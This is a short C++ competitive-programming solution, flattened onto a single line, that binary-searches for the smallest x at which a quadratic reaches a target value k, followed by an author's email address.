#include <bits/stdc++.h> using namespace std; #define IOS ios::sync_with_stdio(0); cin.tie(0); #define endl "\n" #define int long long int a, b, c, k; int F(int x) { return a * x * x + b * x + c; } int binarySearch() { if (c >= k) return 0; int l = 1; int h = ceil(sqrt(k)); while (l <= h) { int mid = l + (h - l) / 2; int x = F(mid); int y = F(mid - 1); if (x >= k and y < k) { return mid; } if (x < k) { l = mid + 1; } else { h = mid - 1; } } } int32_t main() { #ifndef ONLINE_JUDGE freopen("input.txt", "r", stdin); freopen("output.txt", "w", stdout); #endif IOS; int t; cin >> t; while (t--) { cin >> a >> b >> c >> k; cout << binarySearch() << endl; } return 0; }
[ "mittalsagar006@gmail.com" ]
mittalsagar006@gmail.com